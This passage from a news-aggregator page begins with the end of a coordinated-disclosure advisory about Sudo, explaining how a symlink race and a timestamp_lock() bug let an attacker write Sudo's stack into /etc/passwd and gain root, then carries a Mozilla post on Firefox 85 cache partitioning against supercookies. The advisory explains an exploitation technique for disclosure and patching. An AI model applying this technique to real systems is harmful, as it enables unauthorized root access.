minor bug in Sudo's timestamp_lock(). If we win the two races against
ts_mkdirs() and timestamp_open(), and if our arbitrary symlink points to
/etc/passwd, then this file is opened as root, and: ------------------------------------------------------------------------ 65 struct timestamp_entry { 66 unsigned short version; /* version number */ 67 unsigned short size; /* entry size */ 68 unsigned short type; /* TS_GLOBAL, TS_TTY, TS_PPID */ .. 78 };
------------------------------------------------------------------------ 305 static ssize_t 306 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset) 307 { ... 318 nwritten = pwrite(fd, entry, entry->size, offset); ... 350 }
------------------------------------------------------------------------ 619 bool 620 timestamp_lock(void *vcookie, struct passwd *pw) 621 { 622 struct ts_cookie *cookie = vcookie; 623 struct timestamp_entry entry; ... 644 nread = read(cookie->fd, &entry, sizeof(entry)); 645 if (nread == 0) { ... 652 } else if (entry.type != TS_LOCKEXCL) { ... 657 if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1)
------------------------------------------------------------------------ - at line 644, the first 0x38 bytes of /etc/passwd ("root:x:0:0:...") are read into a stack-based struct timestamp_entry, entry; - at line 652, entry.type is 0x783a (":x"), not TS_LOCKEXCL; - at lines 657 and 318, entry->size bytes from the stack-based entry are written to /etc/passwd, but entry->size is actually 0x746f ("ot"), not sizeof(struct timestamp_entry). As a result, we write the entire contents of Sudo's stack to /etc/passwd
(including our command-line arguments and our environment variables): we
inject an arbitrary user into /etc/passwd and therefore obtain full root
privileges. We successfully tested this third exploit on Ubuntu 20.04. Note: this minor bug in timestamp_lock() was fixed in January 2020 by
commit 586b418a, but this fix was not backported to legacy versions. ========================================================================
======================================================================== We thank Todd C. Miller for his professionalism, quick response, and
meticulous attention to every detail in our report. We also thank the
members of <a href="mailto:distros@...nwall">distros@...nwall</a>. ========================================================================
======================================================================== 2021-01-13: Advisory sent to <a href="mailto:Todd.Miller@...o">Todd.Miller@...o</a>. 2021-01-19: Advisory and patches sent to <a href="mailto:distros@...nwall">distros@...nwall</a>. 2021-01-26: Coordinated Release Date (6:00 PM UTC). []<>

This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

Powered by Openwall GNU/*/Linux Powered by OpenVZ

Read the whole story
Share this story
1 public comment
13 hours ago
Yay, more core infrastructure with one part-time maintainer which nobody remembers to support
Washington, DC

Inside the Chaotic, Cutthroat Gray Market for N95 Masks - The New York Times

1 Share
Read the whole story
Share this story

Firefox 85 Cracks Down on Supercookies

1 Comment and 2 Shares

Trackers and adtech companies have long abused browser features to follow people around the web. Since 2018, we have been dedicated to reducing the number of ways our users can be tracked. As a first line of defense, we’ve blocked cookies from known trackers and scripts from known fingerprinting companies.

In Firefox 85, we’re introducing a fundamental change in the browser’s network architecture to make all of our users safer: we now partition network connections and caches by the website being visited. Trackers can abuse caches to create supercookies and can use connection identifiers to track users. But by isolating caches and network connections to the website they were created on, we make them useless for cross-site tracking.

What are supercookies?

In short, supercookies can be used in place of ordinary cookies to store user identifiers, but  they are much more difficult to delete and block. This makes it nearly impossible for users to protect their privacy as they browse the web. Over the years, trackers have been found storing user identifiers as supercookies in increasingly obscure parts of the browser, including in Flash storage, ETags, and HSTS flags.

The changes we’re making in Firefox 85 greatly reduce the effectiveness of cache-based supercookies by eliminating a tracker’s ability to use them across websites.

How does partitioning network state prevent cross-site tracking?

Like all web browsers, Firefox shares some internal resources between websites to reduce overhead. Firefox’s image cache is a good example: if the same image is embedded on multiple websites, Firefox will load the image from the network during a visit to the first website and on subsequent websites would traditionally load the image from the browser’s local image cache (rather than reloading from the network). Similarly, Firefox would reuse a single network connection when loading resources from the same party embedded on multiple websites. These techniques are intended to save a user bandwidth and time.

Unfortunately, some trackers have found ways to abuse these shared resources to follow users around the web. In the case of Firefox’s image cache, a tracker can create a supercookie by  “encoding” an identifier for the user in a cached image on one website, and then “retrieving” that identifier on a different website by embedding the same image. To prevent this possibility, Firefox 85 uses a different image cache for every website a user visits. That means we still load cached images when a user revisits the same site, but we don’t share those caches across sites.

In fact, there are many different caches trackers can abuse to build supercookies. Firefox 85 partitions all of the following caches by the top-level site being visited: HTTP cache, image cache, favicon cache, HSTS cache, OCSP cache, style sheet cache, font cache, DNS cache, HTTP Authentication cache, Alt-Svc cache, and TLS certificate cache.

To further protect users from connection-based tracking, Firefox 85 also partitions pooled connections, prefetch connections, preconnect connections, speculative connections, and TLS session identifiers.

This partitioning applies to all third-party resources embedded on a website, regardless of whether Firefox considers that resource to have loaded from a tracking domain. Our metrics show a very modest impact on page load time: between a 0.09% and 0.75% increase at the 80th percentile and below, and a maximum increase of 1.32% at the 85th percentile. These impacts are similar to those reported by the Chrome team for similar cache protections they are planning to roll out.

Systematic network partitioning makes it harder for trackers to circumvent Firefox’s anti-tracking features, but we still have more work to do to continue to strengthen our protections. Stay tuned for more privacy protections in the coming months!

Thank you

Re-architecting how Firefox handles network connections and caches was no small task, and would not have been possible without the tireless work of our engineering team: Andrea Marchesini, Tim Huang, Gary Chen, Johann Hofmann, Tanvi Vyas, Anne van Kesteren, Ethan Tseng, Prangya Basu, Wennie Leung, Ehsan Akhgari, and Dimi Lee.

We wish to express our gratitude to the many Mozillians who contributed to and supported this work, including: Selena Deckelmann, Mikal Lewis, Tom Ritter, Eric Rescorla, Olli Pettay, Kim Moir, Gregory Mierzwinski, Doug Thayer, and Vicky Chin.

We also want to acknowledge past and ongoing efforts carried out by colleagues in the Brave, Chrome, Safari and Tor Browser teams to combat supercookies in their own browsers.

The post Firefox 85 Cracks Down on Supercookies appeared first on Mozilla Security Blog.

Read the whole story
Share this story
1 public comment
8 hours ago
If only those who build the ad tracking could use their skills for good...
Next Page of Stories